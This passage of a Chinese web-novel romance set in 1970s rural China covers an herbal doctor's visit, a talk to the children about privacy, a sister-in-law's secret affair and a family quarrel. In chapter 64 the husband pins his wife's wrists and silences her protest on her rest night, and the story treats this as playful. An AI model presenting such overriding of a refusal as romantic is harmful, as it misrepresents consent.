谢晚棠远远就闻到一股草药味,到了老大夫家里,院里好几个簸箕,晒着不少草药,老大夫就在自己家的小南屋坐诊,一张桌子,一副简易的药柜子。 老大夫头发都白了,坐在桌子后边,面前摆着一个搭脉的小垫枕,一枝笔,一个本子。 老大夫看了三人一圈:“谁看?” 谢晚棠举手坐下:“我。” 老大夫看她一眼,把小垫枕往前一推:“哪里不好?” 谢晚棠:“来例假肚子疼,腰也凉。” 老大夫点点头,抬手搭脉,片刻后眉头微皱:“有血块?” 谢晚棠点头:“有,流血块的时候疼,后来不流血块了,就不怎么疼了。” 老大夫收了垫枕,拿起笔边说边写:“阳虚,阴寒内盛,寒凝血瘀。当归、白芍、桂枝、川芎、党参、甘草……水煎7副。” 谢晚棠:“吃7副就不疼了?” 老大夫点头,让儿子照着方子给抓药:“淤堵的不算太厉害,7副就能好。” 刘秀香笑道:“张大夫说能好,就肯定能好,放心吧!” 谢晚棠一下子感觉人生又有希望了! 而且老大夫头发都这么白了,一看就靠谱有经验的样子! 刘秀香突然道:“青山也来了,要不也一块看看吧,张大夫祖传的医术,能治百病!” 谢晚棠:“……” 虽然刘秀香表达委婉,但谢晚棠还是一下子听明白她的意思。 刘秀香作为妇女主任,还是很重视他俩这个不孕不育的问题啊! 谢晚棠闻声偏头看傅青山,傅青山在外人面前倒没有表现出敏感,闻声点头,等着给她配药的工夫,坐下让老大夫给他把脉。 怕老大夫当着刘秀香的面直接说出来什么那方面不行的尴尬话,谢晚棠刚想叫着刘秀香出去走走,就看老大夫拿下手来,往后一靠:“年轻人身体很好,没有什么毛病。” 谢晚棠:“……” 好像老大夫的水平也不大行? 看来白发数量和医术高低也不完全成正比。 第64章 棠棠,今晚加个班。 老大夫的儿子抓好了药,教她怎么熬:“加3碗水,泡半小时,大火开锅,然后小火慢熬,剩1碗倒出来,再加2碗水熬出1碗倒一起搅匀,早晚各服1碗。” 谢晚棠听得头大,这么麻烦的吗? 教完看谢晚棠表情凝重,不放心地问了句:“听明白了?” 傅青山点点头接过来:“用什么熬?” 老大夫的儿子愣了下:“瓦罐,砂锅,都中。” 付过药钱,骑车回村,谢晚棠明显感觉刘秀香心情比来的时候轻快多了,一路上都跟她说说笑笑的。 准确的说,自从那个满头白发的张老大夫说傅青山身体很好,没有毛病的时候,刘秀香眼角眉梢的笑意就没停过了。 刘秀香看着挺迷信这个老头头的,老头头说她7副药就能好,说傅青山没毛病,刘秀香就觉得他俩的造娃大计肯定是稳了! 只可惜……老头头虽然头发花白,但医术真是差点意思,他们之间的问题就在傅青山身上,老头头都没看出来。 可能要让刘秀香失望咯。 吃过午饭睡起来,谢晚棠就闻到一股中药味儿,下炕出来一看,傅青山在天井里支了个简易的泥灶,上边架着个瓦罐,已经在给她熬药了。 跟着傅青山练得胆子越来越大,谢晚棠回头看了眼当门,孩子们都在自己屋没出来,扭头回来,弯腰从后边搂住傅青山的脖子,偏头在他右脸颊吧唧一口:“二哥辛苦了!” 啪的一声,谢晚棠闻声惊得一激灵,抬头就看到大刚和二刚站着大门口,大刚脸通红,手里抱的干草都掉到地上,二刚倒是没脸红害羞,一双有神的大眼睛骨碌骨碌地转,转得谢晚棠心越来越虚…… 她好怕二刚语出惊人! 好在二刚还没来得及开口,就被大刚揪走了,谢晚棠这才长舒一口气。 傅青山伸手捏了捏她的指尖,拿了个板凳,把他拉到身边坐下:“他们习惯就好了。” 谢晚棠:“……” 傅青山:“我们是夫妻,不是偷情。” 谢晚棠:“……” 傅青山想了想:“他们以后也会娶妻成家,这些事早晚都要明白。” 谢晚棠皱眉:“可大刚虚着才14。” 傅青山:“旧社会15就娶媳妇生孩子了。” 谢晚棠:“……” 竟无法反驳=_= 她仔细一回想,好像她小时候爸爸妈妈恩爱幸福的画面也没避着她,妈妈过生日的时候,吹完蜡烛,爸爸会在妈妈额头轻轻一吻,笑着说:“小芹生日快乐,开开心心。” 她见得多了,并不会想歪,只觉得爸爸很爱妈妈,她很幸福。 只不过这个年代因为条件限制,夫妻间有些更隐秘的事也容易被孩子看见。 有的孩子不知道什么该说什么不该说,把父母之间那些隐秘事也出去说,弄得村里闲传些谁谁家的荤段子。 其实性。教育从来都很重要,男孩子对女孩子要有责任心,对感情要专一,女孩子要学会保护自己,但是因为传统观念的影响,人们谈。性。色变,这块教育往往被家庭和学校都忽视了。 谢晚棠想明白便不再纠结,倒是大刚,明明之前已经跟她处得很自然了,现在又开始躲着她。 谢晚棠也不给他压力,打算等着给孩子们一起补上这一课。 下午傅青山在外边熬药,她在家用碎布头给刘秀香和郭燕做了两幅棉手套,两人又帮她介绍活,又帮她捎带着送货,她很感激。 天越来越凉,骑车子去镇上冷,给她俩也做副新手套还保暖。 做完手套又给两个小的做了三个新毽子,让他们拿出去装好小石头再拿回来封口。 之前做的那两个,线都乏了,到处都是破口。 刚给毽子封上口,傅大嫂就带着立春来送豌豆包,今天傅大嫂在家没事,用前些日子从这儿拿走的豌豆包的。 红豆包,豌豆包这些带馅的面食都是谢晚棠的最爱,她谢过傅大嫂,开心收下,晚上又开始改善伙食了。 妞妞送给立春一个新毽子,立春高兴坏了,三个人一人一个毽子,在胡同里一起玩。 傅大嫂闻着药味,问谁生病了,谢晚棠笑笑:“来例假肚子疼,刘主任带我去看了个老大夫,说好使,就试试。” 傅大嫂:“大沟村的张老大夫?” 谢晚棠点头:“大嫂你也知道他?” 傅大嫂嗐了声:“这十里八村谁不知道张老大夫啊!他家祖上都是御医,给皇上娘娘看病的!这要不是解放了,咱老百姓哪能捞着找他看病。” 谢晚棠惊讶:“居然这么厉害?” 她对快要到来的月经日又充满了一丝美好幻想了。 傅大嫂点头:“我刚嫁给你大哥那会儿也是来例假疼,一直不怀孕,咱婆婆就点我是个不下蛋的鸡,说话可难听,后来也是别人说让去看张大夫,吃了10副药,就有了大仓!放心吧,吃完他的药,你这肚子也很快就能有动静了!” 谢晚棠:“……” 她只是想缓解痛经,不是为了治不孕不育…… 再说给她治得再好也没用啊,关键问题又不在她这。 但她不能跟傅大嫂解释太多,只笑笑,没接话。 傅大嫂走后,谢晚棠把当门里别人做衣服送来的东西都翻看了一遍,这些日子做衣服忙,吃饭有些糊弄了,是该整点新花样了。 还有红豆,明天有空也煮一锅,包个红豆包吃。 还翻出来一包银耳,泡上一朵,又找出来之前去供销社买的大枣和冰糖,天冷了,熬个银耳红枣羹喝,健康养生,美容养颜安排起来! 宫廷老御医都看了,宫廷小汤羹也不能落下。 银耳泡差不多一个小时,用剪刀把银耳剪碎,把干大枣的核也去了,一起下锅加水煮,大火煮开以后柴火烧得小一点,拿大勺顺着一个方向搅。 以前妈妈说过,这是出胶的关键,千万不能瞎搅,一定要一直顺着一个方向搅。 傅青山倒出来药灭了火进来,从她手里接过勺子:“我来吧。” 谢晚棠让出位置,在一旁给傅青山说注意事项,等胶都出来了,再把冰糖放进去煮化,就可以出锅了! 每人一大碗热乎乎的银耳红枣羹,傅青山还炒了个菠菜粉条肉丝,又把傅大嫂送来的豌豆包热上。 孩子们第一次见银耳红枣羹,光是闻着都觉得甜滋滋的! 一听说以前是宫里皇上才能喝的,更迫不及待了。 想起之前爹不允许他晚上喝汤的严令,二刚可怜兮兮地合掌哀求:“我可以喝一小碗吗?就一小碗,求求了!!” 这小可怜样儿,除了傅青山,谁忍心拒绝啊。 谢晚棠笑道:“喝吧!今天可以敞开了喝!” 今天是她的休息夜,二刚就是喝一肚子在厕所里蹲一晚上她都不怕哈哈哈! 二刚虽然怕爹,但爹怕娘,所以娘说可以,那就可以! 二刚开心地端起汤碗喝了一大口:“好喝!皇上以前都过这么好的日子呢!” 谢晚棠笑,这才哪儿到哪儿,清宫皇上每吨108道菜呢,这小小汤羹,都是皇上喝够了的。 二刚又喝了一大口,突然想到什么,表情突然变得小心翼翼:“咱家现在都跟皇上吃一样的好东西,不会跟皇上一样被推翻吧!” 兰兰揉他头:“咱家的银耳和大枣是爹娘用自己的劳动挣的,跟封建社会剥削劳动人民的皇上怎么能一样。” 二刚嘿嘿一笑:“也是!那我就敞开肚子喝了!” 家里没有食不言寝不语的规矩,每天晚上一起吃饭,是全家最放松快乐的时候。 兰兰发现大刚今晚有点奇怪,不抬头,光闷声吃饭,好像跟家里的欢乐格格不入似的。 大刚虽然平时话就没二刚小刚多,但也会跟着说两句笑呵呵的,今天绝对不对劲。 兰兰碰碰他:“你怎么了?有事?” 她不问还好,一问,大刚头快低到碗里去了。 兰兰…… 二刚嘿嘿一笑:“大哥今天下午看到娘吧唧亲了爹一口——” 兰兰……?? 大刚闻声偏头,瞪了二刚一眼,二刚一缩脖子闭了嘴。 看大刚从下午到现在,不仅没有消化掉这个事,耳朵尖都是红的,谢晚棠想了想,决定将性。教育这一课提前。 她抛出这个问题,先让孩子们畅所欲言:“大家怎么看爹娘拉手,拥抱或者亲亲?” 兰兰闻声愣住,一时不知道该怎么说。 两个小的倒是无知者无畏,妞妞拉着谢晚棠的手:“那是因为爹喜欢娘,娘也喜欢爹。” 小刚补充:“对,这叫恩爱!” 谢晚棠给小刚竖起大拇指:“小刚读书多了就是不一样哦,连恩爱都知道了!” 小刚胸脯一挺,骄傲极了,他现在可识好多字了呢! 二刚性子最活泼外向,加上年纪不大不小,懂点事,但又没到青春期没那么懂,懵懵懂懂,无所谓地嗐了一声:“这有什么啊!小顺子说他爹晚上还光着腚骑在他后妈身上呢!累得呼哧带喘的,累极了还打他后妈的腚。” 谢晚棠:“……” 傅青山:“……” 兰兰:“……” 大刚:“……” 大刚是过于传统,二刚就过于奔放了,两个小的是完全不明白。 小刚奇怪:“他爹为什么光着腚?咱爹睡觉就不光腚。” 傅青山:“……” 妞妞更奇怪:“他爹不是喜欢他后妈吗?那为什么还要打他后妈?” 谢晚棠:“……” 她也没想到朴实的劳动人民夫妻情趣有这么多花样…… 谢晚棠轻咳一声,正好以此做反面典型,拉回正题:“那你们觉得小顺子这样出来说好吗?” 兰兰摇头:“不好,村里人会多嘴多舌地议论。” 大刚也皱眉摇头:“家里的事不该出去说。” 两个小的懵懵懂懂跟着点头。 二刚有点不理解:“可是不光小顺子说啊,很多人都说啊。” 确实,这个年代的人没事干,爱聚一块吹牛逼拉大呱显摆,不光孩子嘴上没把门的,很多男人嘴上也没把门的,把夫妻之间那点事拿出去夸张放大吹牛逼,显得自己很能耐,殊不知非常low。 谢晚棠看向二刚,耐心道:“不是说的人多就是对的,有时候真理可能掌握在少数人手里。” 谢晚棠趁机给孩子们科普什么是隐私:“在咱们家大门以内发生的事,都属于咱们家的隐私,隐私是什么,就是隐秘的私事,像秘密一样,如果全村人都知道,那还能叫秘密吗?所以只有我们家的人知道就可以了,不要出去说。” 看二刚还是有点不理解,谢晚棠举例:“二刚,如果你被你爹打了屁股,小刚全给你说出去了,全村人人都知道你被打屁股了,还被打得嗷嗷叫,你觉得你愿意吗?” 二刚皱眉:“那我会丢死人!” 小刚举手,表示自己是绝对不会叛变二哥的! 谢晚棠点头:“对啊,因为这是你的隐私。比如我们家今晚喝了宫廷银耳红枣羹,我们明明是靠自己劳动挣的,但如果说出去了,有些吃不上的人就会嫉妒啊,就可能因为嫉妒而怨恨我们家,带来一些不必要的麻烦。” 几个孩子闻声点头,都觉得有道理。 谢晚棠又道:“再比如,我亲了爹,你们谁出去说了,一传十十传百,最后全村都会议论我和爹,虽然我亲爹没有错,但你希望我们被人随口议论吗?” 二刚摇头:“不想。” 看二刚终于想明白,谢晚棠适时总结:“所以以后,咱家大门以内的事都属于咱家的隐私,不管是不是关于自己的隐私,都不能出去乱说,因为我们是一家人,一个集体。至于别人家的隐私,如果听到了,也不要去传,那是长舌妇才干的事,很讨厌的,知道吗?” 孩子们闻声点头。 隐私的问题解决了,谢晚棠看了眼傅青山,笑道:“我和你们爹是夫妻,你们知道什么是夫妻吗?” 二刚举手抢答:“就是结了婚睡一个被窝。” 谢晚棠:“……” 也挺精准。 谢晚棠努力适应二刚直白奔放的用词:“夫妻是最亲密的关系,比和孩子之间的关系还要亲密,你们以后都会长大,会离开我们,离开这个家,找到一个喜欢的人,组成一个新的小家庭开始新的生活,只有我和爹会一直相伴到老。” “拉手,亲亲,拥抱,这些都是表达喜欢的一种方式,很正常,你们以后遇到自己真正喜欢的人,也要大胆去表达自己的爱,这样对方才会明白你的心意。” “不过得是真正喜欢的人,你喜欢对方,对方也喜欢你,互相都要真诚,负责,能够一起经历风雨,同甘共苦,才能一起走过一辈子。” 孩子们都听得很认真,不过听到以后会离开这个家,妞妞有点失落地抱住她的腰:“娘,我以后也得离开咱家吗?可我不想离开您和爹,不想离开哥哥姐姐。” 谢晚棠把她揽到怀里:“每个人都要离开爹娘啊,如果我不离开爹娘,也不能跟你们一起生活呀,就连小黑也是离开它的妈妈来我们家,跟我们一起生活。” 兰兰没说话,听谢晚棠说完,她心里想到一个人。 他们以后能够同甘共苦,一起经历风雨吗? 谢晚棠看大刚耳朵不红了,若有所思的样子,显然是听进去了。 倒是二刚皱眉,举手问道:“那小顺子他爹打他后妈的腚,也是表达喜欢的方式?” 谢晚棠:“……” 二刚你的兴趣点为什么都这么清奇?! 这种S.M小情趣她也不太懂啊! 谢晚棠抿唇轻咳一声:“可能是吧。” 二刚摇头:“他们家可真奇怪!难道俺爹以前揍我腚,也是因为太喜欢我了?” “……”傅青山清了清嗓子,“所以你娘说,大门内的隐私以后都不能出去说,不然就会像小顺子的爹娘一样,被你这样探究议论。” 二刚突然想起娘说爱议论人的是长舌妇,是最讨厌的人,马上捂嘴:“我绝对保守咱家隐私!也不议论别人家的隐私,绝不当长舌刚!” 其实谢晚棠最担心的就是二刚,听二刚这样保证,她就放心了。 家庭教育结束,谢晚棠喝上中药,吃了三个大枣才压下去嘴里的苦味。 大家一起打完军体拳,泡完脚,回自己房间准备睡觉。 因为今天是两人之间的法定休息夜,谢晚棠放松地躺在傅青山怀里,舒服地汲取他的热量,边捏着他结实的腹肌玩着,边跟他聊明天打算做什么好吃的。 傅青山呼吸越来越沉重,被子下的小手却毫无察觉,越发肆无忌惮,他深吸一口气,握住那只不老实的纤细小手。 撩拨他的人儿一脸无辜,抬头看他。 傅青山深吸一口气:“棠棠,你再玩下去,我不能保证你今晚能休息。” 看到傅青山眼中那涌动的情。欲,谢晚棠感觉到一丝危险,乖巧地眨眨眼睛,拖着还发酸的腰,从傅青山怀里一点一点往外蹭…… 老虎不光屁股摸不得,腹肌也摸不得呢,还是离远一点吧。 殊不知,小羊羔一样无辜的眼神是对野兽最大的诱惑,一下一下更是蹭起野兽的欲。火。 还没等她退到安全距离,就被傅青山一个翻身压住。 谢晚棠伸手推他胸口,理直气壮:“今晚是我的休息日!” 傅青山一手抓住她一只手腕,稍一用力就拉到头顶压住,俯身下来:“加个班。” 谢晚棠……???? 回过神来,谢晚棠抗议:“什么垃——” 抗议的话还没说出来,强势霸道的吻便细密地落了下来,堵住了她的唇以及那含糊不清的抗议。 第65章 她才是个不要脸的**! 谢晚棠:“……” 什么垃圾公司啊!第一周就加班!!! 谢晚棠是被吻醒的。 傅青山已经穿戴整齐,准备出发去上班,俯身在她额头上落下一个轻柔的吻,语气无比温柔:“棠棠,饭给你放在锅里,我要走了。” 谢晚棠眼皮特别沉,只睁开看了一眼,就点点头又合上眼。 傅青山又亲了下她的鼻尖,才磨磨蹭蹭下炕,推门出发。 听着外边大门关上的声音,谢晚棠往上拉了拉被子,翻身朝右侧躺,一下子牵扯到酸胀痛的腰,龇牙咧嘴地“嘶”了声—— 明明是休息夜的,结果加班加得比平时还晚! 村里的鸡都起来打鸣了,她还捞不着睡! 都怪二刚!说什么刘大水家的S.M情趣啊…… 直接启发了傅青山的思路,弄得他无师自通! 昨晚又是用布条捆她手腕,又是扶着她腰让她骑大马,还打她…… 虽然不怎么疼,还有点前所未有的刺激,但是—— 这样下去她早晚要被傅青山榨干啊啊啊啊啊!!! 谢晚棠窝在被子里,回笼觉睡到自然醒,累了一晚上的腰才稍稍休息过来一些,没那么疼了,只剩些闷闷的酸胀感。 她揉了揉腰,下炕穿鞋,孩子们都没在家,暖壶里有热水,她先兑了温水洗漱。 锅里温着一个巴掌大的煮红薯,一碗她喜欢的浓稠的小米粥,旁边的小碗里躺着一只抹好了豆瓣酱的金黄色煎蛋,还有一碗她的药。 谢晚棠搭手一试,都还温乎乎的,吃正好。 刚把饭端上炕,兰兰就挎着篮子回来了,去自留地摘了一篮子菠菜和苔菜。 兰兰看她起来,给她倒了杯温水,有点担心:“爹说您不太舒服,让别打扰您,是药吃了不好受吗?” 谢晚棠:“……” 药没有罪,是你爹没有人性,强制加班…… 谢晚棠轻咳一声:“还好,就是快来例假了,身子犯懒。” 兰兰见过谢晚棠来例假疼得蜷成一圈的样子,更加心疼:“大娘和刘主任都说这个大夫很厉害,您吃了他的药一定会好的!” 谢晚棠点头:“对!” 上学的时候一痛经连课都听不了,只能趴在桌子上萎靡挨痛,那时候她最羡慕吃雪糕都不痛经的同桌了。 布洛芬虽然有用,但治标不治本。 如果这位张老大夫真能治好折磨她多年的痛经,那可太好了。 吃过早饭,兰兰活上面放在炕头发上。 谢晚棠把泡了一晚的红豆洗干净倒进大锅里,抱进来草生起火来,煮了一个多小时,用勺子捻了捻试了试,基本软烂,停火撒上白糖,趁着锅底的温乎劲儿把红豆搅烂乎,和白糖均匀地拌在一起,挖了勺一尝,甜滋滋地在舌尖化开,直到咽下去,嘴里还留存着红豆的香甜。 完美! 把红豆沙弄出来放到盆里,吃过午饭放凉了,下午就可以包起来上锅蒸了。 最近家里的鸭子下蛋很勤奋,小刚和妞妞每天吃过早饭就一起挎上小篮子出门去给鸡鸭挖野菜了。 今天弄完红豆沙,兰兰都开始做午饭了,两人还没回来。 谢晚棠平时怕冷不爱出门,中午日头暖一些,她穿上棉服出门去寻两个小的。 路上见着郭燕家的小虎子,小虎子说看着两人往河那里去了。 天冷了河水凉,去河边洗衣裳的人也少了,谢晚棠怕两个小的独自在水边不安全,加快脚步往村西头走。 一路紧赶慢赶来到河边,打眼望一圈,没看着妞妞和小刚鲜艳好辨识的红色蓝色棉服,倒是看着不远处那堆及胸高的枯黄草丛里有一对青年男女的身影,互相抱在一起,激烈地亲吻着对方,亲得忘我,都没注意到她的存在。 谢晚棠总觉得那两个身影都有些熟悉,但她不愿窥探别人的隐私,转身要走时,那男人偏了偏头,谢晚棠一下子看到了他的侧脸——是蒋有年! 跟蒋有年抱在一起亲吻的女人居然是——傅青宁?! 直到在小河最下游找到妞妞和小刚,谢晚棠还没从刚才的震惊中回过神来。 傅青宁和蒋有年? 这两个八竿子打不着的人怎么会在一起??? 这是书里完全没有的剧情。 难道因为她的命运改变,连带着书中其他配角的人生也随之改变了吗? 虽然她不喜欢傅青宁,跟傅青宁性格三观都不对付,但也不愿看着傅青宁因为她,而跟蒋有年这种无耻的渣男搅到一起。 吃过午饭,郭燕和刘秀香要去镇上开会,来她家捎上衣裳。 两人一人骑一辆自行车,后座和前筐装得满满的。 刘秀香夸她能干。 谢晚棠把新手套给她们,郭燕高兴得抱住她:“晚棠,姐姐爱你!” 谢晚棠被郭燕抱得晕晕乎乎的,突然感觉有一个这样热烈外放的媳妇,郭燕的老公肯定很**。 她都有点期待傅青山这样热烈地抱住她,深情地对她说:“棠棠,哥哥爱你!” 哇偶!一想就心跳加速呢! 送走郭燕和刘秀香,下午面发好了,谢晚棠和兰兰在家包豆包。 小刚和妞妞喂完鸡鸭进来,站在炕前也跃跃欲试,谢晚棠让他们去洗手,上炕来一起帮忙,两个小的高兴应声,蹦蹦跳跳跑出去压了井水,进来掺上热水洗干净手爬上炕。 谢晚棠还是负责擀皮,两个小的把豆沙团成均匀大小的一个个圆球,兰兰包进皮里,一个个圆溜溜的小豆包立在盘子上,挺着小肚子就像在跟他们招手。 谢晚棠擀完皮,剩下的收尾工作交给兰兰,她先下炕给大锅倒上水,放上篦子,把包好的豆包摆上去,又出去抱进来干草引火,等她火引起来,兰兰把剩下的也包完了,端下来拾到篦子上,盖上锅盖开始蒸。 烧火的时候她还在想中午在河边看到的场景,一会儿等傅青山下班回来,得跟他说说,看看该怎么解决这个事,毕竟蒋有年那么会花言巧语,傅青宁看起来也不像是能乖乖听傅青山话的样子。 有点愁人。 没想到傅青山下班回来,先跟她说:“我们单位新来一个转业的年轻兵,跟青宁年纪差不多,家是小沟村的,家里成分很正,爹娘哥哥都是本分的老实人,他一个月工资有40块,青宁要是嫁过去,日子过得也能舒坦。” 谢晚棠一听,这不就是现成的解决办法嘛! 给傅青宁找一个条件比蒋有年更好的,自然就把蒋有年比下去了。 这个青年的条件就跟傅青山差不多,虽然不是城里人,但在城里工作,拿着城里人的工资,在村里生活,其实这样比在城里住钱更抗花,过得更舒服。 而且在城里住小筒子楼有什么好的,哪有农村自己带院的小房自在。 谢晚棠点头:“我觉得不错!” 犹豫了下,谢晚棠还是把中午看到的场景告诉了傅青山。 傅青山闻声皱眉:“真的?” 谢晚棠抿唇点头:“我也不知道他们谈了多久,谈到什么程度了,蒋有年虽然没有你们单位这个青年条件好,但他有文化又会花言巧语吟诗弄词的,你妹妹又喜欢有文化的……” 越说越觉得危险,谢晚棠碰碰傅青山肩膀:“我觉得事不宜迟,不能拖拉,你今晚就去说说吧!” 别傅青宁再被蒋有年弄迷糊了,油盐不进,就难弄了。 傅青山蹙眉:“嗯,吃完饭我就去。” 傅青山虽然不喜欢妹妹好高骛远,不脚踏实地,但毕竟*就这么一个妹妹,尽力在能达到的条件内给她寻摸靠谱的男人。 他吃完饭就过去了,却扑了个空。 傅青宁不在家,只有傅老太和傅老汉在家,说傅青宁这些日子都吃完饭就出去耍了。 傅老太抱怨:“这么冷的天,也不怕冻,桌子也不拾掇,碗也不刷,天天就知道往外跑,玩疯了!” 傅青山闻声皱眉,看他娘的反应,显然是还不知道蒋有年的事。 傅青山把要给妹妹介绍对象的情况说了,傅老太一听是在镇上有正式工作月月发工资的,满意得很:“这个好!这个你妹妹肯定能喜欢!” 他娘高兴,傅青山却心里不安。 男人更能看清男人,蒋有年一看就不是个靠得住的,可刚才听说傅青宁已经往外跑了好些日子了,而且中午两人直接在河边亲嘴。 棠棠说得对,这事真不能拖了。 傅青山跟他娘说好了明天下班,他把单位那个同事叫回家来吃饭,到时候让傅青宁也过去见见面认识认识。 傅老太脸上笑开了花,满口应下。 见傅青山回来得快,面上却没一点喜色,谢晚棠一问情况,并不意外。 毕竟,都发展到大白天在野草地里亲嘴了,肯定不是一天两天了。 谢晚棠抱着他胳膊:“你别着急,明天先见面再说,没准见了面她就会改变心意了,毕竟是国家培养出来的男人,肯定比蒋有年强十倍百倍,她只是娇蛮点,又不是眼瞎。” 傅青山叹了口气躺下,他对国家培养出来的男人有信心,但他对自己的妹妹不放心。 翌日。 傅青山下班和同事一起骑车子回来,谢晚棠帮着兰兰早早做好了饭。 傅青山给谢晚棠介绍:“棠棠,这是我的同事于军光,军队的军,光荣的光。” “军光,这是我爱人,谢晚棠。” 于军光马上礼貌打招呼:“嫂子好!” 谢晚棠一看,一米八多的小伙子,跟傅青山一样腰板笔直,一看就是部队出来的,行如钟,站如松,一身正气,很有男人气概。 谢晚棠笑着招呼人进来:“好好好,小于快进来!” 到了饭点,傅青宁迟迟不来,谢晚棠让兰兰去叫,好半晌傅青宁才跟在傅老太身后拖拖拉拉进来,耷拉着个脸,满脸的不情愿。 于军光见她们进来,马上起身站好,傅青山给他介绍了傅老太和傅青宁。 于军光对傅老太礼貌鞠躬:“大娘好!” 然后又转向傅青宁:“傅青宁同志,你好。” 傅老太对于军光是很满意,看闺女拉着个死脸,气得狠狠掐了她腰一把,傅青宁疼得“啊”了一声,不情不愿地跟于军光打了个招呼:“你好。” 吃饭的时候,谢晚棠看傅老太一个劲儿地招呼于军光,热情得不行,只可惜是皇上不急太监急,傅青宁根本不感兴趣的样子。 好吧,她收回昨晚安慰傅青山的话。 傅青宁不止是娇蛮,也有点眼瞎…… 已经被蒋有年迷瞎了眼,迷昏了头。 吃过晚饭,看傅老太还在喋喋不休,谢晚棠提议:“要不让青宁和小于单独聊会?” 傅青山点头,拉着他娘出去,走到胡同,傅青山低声问他娘傅青宁是怎么回事。 傅老太恨恨道:“之前找对象找得火急,现在突然又说不急着找了,今天死活不愿意来,让我打着打来的!不知道上了什么疯,都20了还不急,要在家里养成老闺女?!” 傅青山闻声和谢晚棠对视一眼,眉头紧蹙。 不到半个小时的工夫,两人就从屋里出来了,于军光谢过傅青山和谢晚棠的招待,骑上自行车走了。 傅老太看于军光的身影消失在路口,急忙把傅青宁拉到屋里:“聊得怎么样?” 傅青宁撇撇嘴哼了声:“没文化,不浪漫,农村人,不怎么样。” 谢晚棠:“……” 傅青山脸瞬间冷下来:“就那个一肚子花花肠子的蒋有年有文化、会浪漫,把你迷得团团转!” 傅老太听得迷迷糊糊:“不是聊小于吗?怎么又提到蒋知青了?” 傅青山深吸一口气,沉声训斥:“她每天晚上跑出去都是去见蒋有年,大白天就跟蒋有年在河边草里抱着亲嘴,这就是晚棠看见了,要是让村里其他人看着了,得怎么议论!姑娘家的名节还要不要了!” 傅老太惊得瞪大眼,不可思议地看着傅青宁:“你,你跟蒋知青亲——” 傅青宁闻声一下子从炕沿上跳下来,恶狠狠地推了一把谢晚棠,好在被兰兰扶住,要不然她后腰直接就要撞上缝纫机的台面。 傅青宁瞪着她:“你偷看我和有年哥!有年哥就是有文化,又浪漫,我就是喜欢!他怎么一肚子花花肠子了,你们还不是听谢晚棠瞎说,你们还不知道吧,当初是谢晚棠脚踩两只船,一边勾搭有年哥,一边勾搭着二哥,最后甩了有年哥还诋毁他,害他被批斗,被村里人误会!” 谢晚棠:“呵呵?” 还能这么玩? 好。 很好。 是她活该,活该替傅青宁担心,傅青宁看起来跟蒋有年真是天造地设的一对! 傅青宁指着她的鼻子:“她才是个不要脸的**!” 第66章 今晚,姐姐来宠爱你,好不好? “啪”的一声脆响,一耳光打断了傅青宁的咆哮。 傅青宁捂着自己被打的左脸,委屈又震惊地望着傅青山:“二哥你打我,你居然为了一个贱女人打我,从小到大你从来没打过我!” 傅青山居高临下地看着傅青宁,面色冷如冰霜:“她是我媳妇,是你嫂子,**这种话也是能随便乱说的!” 傅青宁指着谢晚棠:“二哥!你就是被她骗了还不知道!” 傅青山沉声:“我看你是被那个蒋有年骗得团团转自己不知道!” 傅老太回过神来,一把傅青宁拉到身边,指着谢晚棠骂道:“就是你天天给老二吹枕边风,老二才会变成现在这个样子!” 谢晚棠真是三观都碎一地了,这娘俩真的是绝了。 她真的是活该,活该多管闲事!才惹来这一身骚! 她就是脑子瓦特了才会觉得是因为她的命运发生改变,才会连带着傅青宁的命运也随之改变。 每个人的命运都是自己的选择决定的,她虽然甩掉了蒋有年这坨渣男癞蛤蟆,但她可没摁头让傅青宁跟蒋有年在一起。 傅青宁以后怎么着,都是她自己选的,她自己去承受。 兰兰领着弟弟妹妹,原本在天井里,实在听不下去傅老太胡搅蛮缠,冲进来气愤道:“奶奶,我娘怕小姑被那个蒋知青骗,昨晚催着爹去给小姑介绍对象,今天还跟我一起忙了一下午做饭招待,您和小姑说话要讲良心!” 谢晚棠深吸一口气,把兰兰拉到身边:“兰兰,跟没良心的人不需要讲这些,浪费唾沫。” 傅老太哼了声:“她能安什么好心?” 傅青宁抹了把眼泪,气哄哄地看着谢晚棠:“有年哥的爹娘都是城镇工人,吃商品粮的,有年哥人长得好,又有文化,你一个地主家的闺女,就你这种成分,倒贴有年哥你都配不上!之前让我哥给我介绍对象你不管,现在我和有年哥好了,你又催着我哥去给我介绍,你不就是嫉妒我才非要搅黄我的好事嘛!” 谢晚棠气笑:“好啊,那我就祝你和蒋有年恩爱幸福,白头到老。” 你把渣男占死了,你俩天造地设,正好都别再去祸害别的好青年和好姑娘。 谢晚棠拿起扫炕的笤帚,使出全身的力气,把傅青宁和傅老太推出炕间,往当门外推:“是我多管闲事,以后你们的好事我不会再多说一句,我的家,也不允许你们再踏进来一步!” 傅青宁退到天井里哼了声:“谁稀罕来!” 谢晚棠深吸一口气,一手指向大门口:“那就麻溜给我滚!” 傅青宁踹了一脚大门,气哄哄地走了。 傅老太哭嚎着拉着傅青山的胳膊:“你看看你媳妇这个厉害!当着你的面都敢这样对我们娘俩!” 傅青山皱眉,拉着傅老太的胳膊走到门外:“我送你回家。” 傅老太不肯罢休,指着站在天井里的谢晚棠:“她这样你都不收拾她,你是真不管你娘和你亲妹妹了啊!我这是什么命啊,辛辛苦苦养大的儿子,都给贱人养了啊!!!” 谢晚棠听着这绿茶的哭声就烦,手里的笤帚一把甩出去,磅的一声砸在大门上,掉在傅青山脚边。 傅青山抬眸,和谢晚棠的视线对上,谢晚棠被一对没良心的母女气得胸口起伏,连傅青山都不想干,扭头回屋。 傅青山深吸一口,冷声对傅老太道:“你们的事我管不了,我们家的事也不用你来管,以后还是少来往吧。” 傅老太没达到目的誓不罢休,挣着要进门去收拾谢晚棠,五个孩子齐齐站在大门口,正面迎上傅老太,谁也不示弱。 傅老太一屁股坐到地上,嚎丧一样:“几个孩子以前好好的,现在也都被那个贱人给带坏了——” 傅青山皱眉,以绝对的力量一把把傅老太硬拉起来送回去,傅老太反抗不了这个力大如牛的二儿子,一路哭哭啼啼打骂着他,大半个下沟村的村民都出来看故事。 傅青山送完傅老太回来的时候,几个孩子都在当门等他,二刚带头表达了大家的意思:“我们是坚决站在娘这边的,如果您敢欺负娘,我们都不会同意!虽然我们打不过您,但也都会为了娘拼死一战!” 傅青山:“……” 傅青山无奈:“不早了,都回屋睡吧。” 看傅青山神色平静,并没有被奶奶挑拨的样子,几个孩子才半信半疑地回屋去,不过谁也没心情睡觉,都支棱着耳朵,听着大炕间的动静。 傅青山把锅里温的药端进屋,见谢晚棠躺在被子里,顶起来一小团:“棠棠,吃药了。” 被子里的小人一动不动,毫无回应。 他这是被连坐了。 